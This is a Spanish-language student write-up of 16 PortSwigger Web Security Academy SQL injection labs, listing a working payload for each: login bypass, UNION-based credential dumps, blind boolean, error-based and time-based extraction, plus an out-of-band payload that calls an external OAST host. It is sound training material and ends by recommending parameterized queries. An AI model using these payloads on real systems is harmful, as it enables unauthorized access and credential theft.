Edgar Hernandez

Alias: KortexBr3ach

SQL INJECTION ROADMAP

Documentación técnica de 16 laboratorios críticos de PortSwigger Web Security Academy.

REPORTE TÉCNICO COMPLETO

Descarga la documentación detallada de los 16 laboratorios (Actividad 08).

LAB 01 - APPRENTICE

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Tipo: In-band (Basada en lógica booleana)

Objetivo: Explotar una vulnerabilidad en el filtrado de productos para visualizar artículos no publicados.

Explicación Técnica: El parámetro category captura la entrada del usuario y la inserta directamente en la instrucción SQL. Al carecer de sanitización, se pueden introducir caracteres especiales que alteran las reglas de negocio, transformando una búsqueda rutinaria en una orden para extraer datos corporativos restringidos.

Procedimiento:

  • Intercepción de la petición GET con Burp Suite Proxy.
  • Localización del parámetro vulnerable category.
  • Inyección de la secuencia lógica (payload) para alterar la instrucción prevista.
  • Análisis de la respuesta 200 OK con incremento significativo en los datos, confirmando la extracción total.
' + OR 1=1 --

Análisis del Payload: La comilla (') cierra el campo de texto. OR 1=1 introduce una condición siempre verdadera. El comentario (--) anula el código residual de la aplicación que mantenía los productos ocultos.

LAB 02 - APPRENTICE

SQL injection vulnerability allowing login bypass

Tipo: In-band (Evasión de Autenticación / Logic Bypass)

Objetivo: Acceder a la aplicación con privilegios de administrador evadiendo la validación de contraseñas.

Explicación Técnica: El parámetro username no se sanea antes de ser procesado por el motor de base de datos. Esto permite introducir vectores de ataque que truncan la consulta. En lugar de verificar usuario y contraseña simultáneamente, la alteración obliga a comprobar solo la existencia del usuario, anulando el requisito de la clave.

Procedimiento:

  • Intercepción de la petición POST dirigida a la ruta de autenticación.
  • Sustitución del valor username por el vector de ataque diseñado.
  • Asignación de un valor arbitrario al campo password, el cual será ignorado.
  • Recepción del código 302 Found y asignación de token de sesión de administrador.
administrator'--

Análisis del Payload: La comilla (') cierra la cadena del nombre de usuario. El doble guion (--) convierte la sección encargada de comparar la contraseña en un comentario inofensivo.

LAB 03 - PRACTITIONER

Querying the database type and version on Oracle

Tipo: In-band (UNION-based)

Objetivo: Determinar la versión y edición del motor Oracle subyacente.

Explicación Técnica: La vulnerabilidad en el parámetro category permite cerrar la instrucción original e inyectar comandos UNION. Debido a los requisitos estructurales de Oracle, se emplea la tabla virtual DUAL para el reconocimiento previo de las columnas.

Procedimiento:

  • Reconocimiento inyectando valores nulos para deducir la estructura de la tabla.
  • Verificación de compatibilidad de tipos de datos mediante caracteres alfabéticos.
  • Ejecución de la carga útil dirigida a la vista del sistema v$version de Oracle.
' UNION SELECT banner, NULL FROM v$version--

Análisis del Payload: UNION SELECT fusiona los resultados legítimos con la consulta inyectada. banner, NULL cumple la homogeneidad estructural extrayendo metadatos en la primera posición.

LAB 04 - PRACTITIONER

Querying the database type and version on MySQL and Microsoft

Tipo: In-band (UNION-based)

Objetivo: Extraer la cadena de texto con la versión exacta de un motor Microsoft SQL Server.

Explicación Técnica: Se manipula el parámetro category para insertar comandos que consultan variables de entorno internas. Al separar la lógica del programa de la información del usuario, se fuerza al sistema a ejecutar comandos no previstos para revelar infraestructura.

'+UNION+SELECT+@@version,+NULL--

Análisis del Payload: El término @@version es una variable global propia de Microsoft SQL Server. Se rellena la segunda columna con NULL para evitar errores por discrepancia estructural.

LAB 05 - PRACTITIONER

Listing the database contents on non-Oracle databases

Tipo: In-band (UNION-based)

Objetivo: Enumerar el esquema, tablas y columnas para extraer credenciales del administrador.

Procedimiento:

  • Consulta a information_schema.tables para identificar tablas de usuarios (ej: users_qbvywo).
  • Consulta a information_schema.columns para mapear username_pqbuks y password_uqpynv.
  • Extracción final del contenido de dichas columnas para obtener la contraseña en texto plano.
' + UNION + SELECT + username_pqbuks, + password_uqpynv + FROM + users_qbvywo --
LAB 06 - PRACTITIONER

Listing the database contents on Oracle

Tipo: In-band (UNION-based)

Objetivo: Exfiltrar credenciales localizando tablas y columnas confidenciales en un entorno Oracle.

Explicación Técnica: El sistema no distingue entre instrucciones legítimas y órdenes maliciosas. Al reflejar resultados en pantalla, se "grapan" los datos de la tabla de usuarios a los resultados de productos.

Procedimiento Técnico: Uso de ORDER BY para determinar que operamos con dos columnas y posterior consulta a las vistas all_tables y all_tab_columns para enumerar la infraestructura.

' + UNION + SELECT + USERNAME_FBFFOG, + PASSWORD_WKNSGM + FROM + USERS_IRAUIG --
LAB 07 - PRACTITIONER

Determining the number of columns returned by the query

Tipo: In-band (UNION-based)

Objetivo: Descubrir la estructura de columnas de la consulta original mediante valores nulos.

Análisis: Se realiza una enumeración secuencial. Mientras el número de columnas inyectadas sea distinto al original, el servidor responderá con un error 500. Al coincidir con 3 columnas, se recibe un código 200 OK.

'+UNION+SELECT+NULL,NULL,NULL--
LAB 08 - PRACTITIONER

Finding a column containing text

Tipo: In-band (UNION-based)

Objetivo: Identificar qué columna es compatible con datos de tipo texto para facilitar la exfiltración.

Procedimiento: Se inyecta una cadena generada por el sistema en cada posición de forma secuencial. Al colocar el texto en la segunda posición, se recibe un 200 OK, confirmando la compatibilidad de formato.

'+UNION+SELECT+NULL,'QQ0yuu',NULL--
LAB 09 - PRACTITIONER

Retrieving data from other tables

Tipo: In-band (UNION-based)

Objetivo: Extraer credenciales de la tabla de usuarios y utilizarlas para comprometer la cuenta administradora.

Explicación Técnica: La aplicación toma la entrada de la URL y la concatena sin validación. Al inyectar UNION SELECT username, password, la base de datos obedece ambas órdenes y muestra datos confidenciales visualmente como productos.

'+UNION+SELECT+username, password+FROM+users--
LAB 10 - PRACTITIONER

Retrieving multiple values in a single column

Tipo: In-band (UNION-based)

Objetivo: Extraer usuario y contraseña simultáneamente cuando solo existe una columna de texto disponible.

Análisis Técnico: Se utiliza el operador de concatenación (||) para fusionar el usuario y la clave en un solo bloque, empleando una tilde (~) como delimitador. Esto permite que ambos datos quepan en una sola posición de la respuesta.

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
LAB 11 - PRACTITIONER

Blind SQL injection with conditional responses

Tipo: Blind (Boolean-based)

Objetivo: Extraer la clave del administrador mediante inferencia de comportamientos visuales.

Explicación Técnica: El sistema no muestra errores, pero altera su respuesta (mensaje "Welcome back") si la consulta es verdadera. Esto permite realizar preguntas lógicas al sistema y extraer información carácter por carácter.

Clave Extraída: zp5jy1l5taltb3wm7m9l.

TrackingId=... ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') > 'm
LAB 12 - PRACTITIONER

Blind SQL injection with conditional errors

Tipo: Blind (Errores Condicionales / Conditional Errors)

Objetivo: Extraer la contraseña forzando colapsos matemáticos en el servidor.

Análisis: Se inyecta una estructura CASE WHEN. Si la letra es correcta, se fuerza una división por cero (1/0), provocando un error 500. Evaluando cuándo falla la página, se reconstruye la credencial confidencial.

Clave Extraída: sa4294rne60goxujz6fi.

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
LAB 13 - PRACTITIONER

Visible error-based SQL injection

Tipo: In-band (Error-based)

Objetivo: Comprometer la seguridad aprovechando mensajes de error detallados del motor de base de datos.

Explicación Técnica: Se utiliza la función CAST() para intentar convertir la contraseña (texto) en un entero (int). El motor genera un error de conversión e incluye el valor que no pudo convertir directamente en el mensaje devuelto al cliente.

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
LAB 14 - PRACTITIONER

Blind SQL injection with time delays

Tipo: Blind (Time-based)

Objetivo: Confirmar la vulnerabilidad mediante la suspensión síncrona de la respuesta del servidor.

Análisis: Se inyecta la función pg_sleep(10) en PostgreSQL. Al verificar que el tiempo de respuesta supera los 10 segundos, se confirma de forma concluyente que el comando fue procesado por el motor.

x'||pg_sleep(10)--
LAB 15 - PRACTITIONER

Blind SQL injection with time delays and information retrieval

Tipo: Blind (Time-based / Inyección Ciega Basada en Tiempo)

Objetivo: Extraer secuencialmente la contraseña basándose en el tiempo de respuesta del servidor web.

Procedimiento: Se formulan preguntas condicionales. Si la respuesta es verdadera, se ordena a la base de datos pausar su procesamiento durante 3 segundos. Al medir este retardo, se registra el carácter descubierto.

x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--
LAB 16 - PRACTITIONER

Blind SQL injection with out-of-band interaction

Tipo: Out-of-band (OAST - Out-of-band Application Security Testing)

Estatus: No terminada por restricciones de red perimetral.

Explicación Técnica: Se intentó forzar a la base de datos a realizar una consulta DNS externa mediante EXTRACTVALUE en Oracle. El bloqueo de red impidió confirmar el éxito del ataque hacia dominios no oficiales.

' UNION SELECT EXTRACTVALUE(xmltype('...SYSTEM "http://XX.oast.fun/">...'),'/l') FROM dual--

CONCLUSIONES DEL ROADMAP

El análisis sistemático demostró que las inyecciones SQL (In-band, Blind y OOB) comprometen severamente la confidencialidad e integridad de la información al evadir mecanismos de autenticación y extraer credenciales administrativas.

Mitigación Principal: Implementación obligatoria de Consultas Parametrizadas (Prepared Statements) para neutralizar la ejecución de código malicioso en el motor SQL.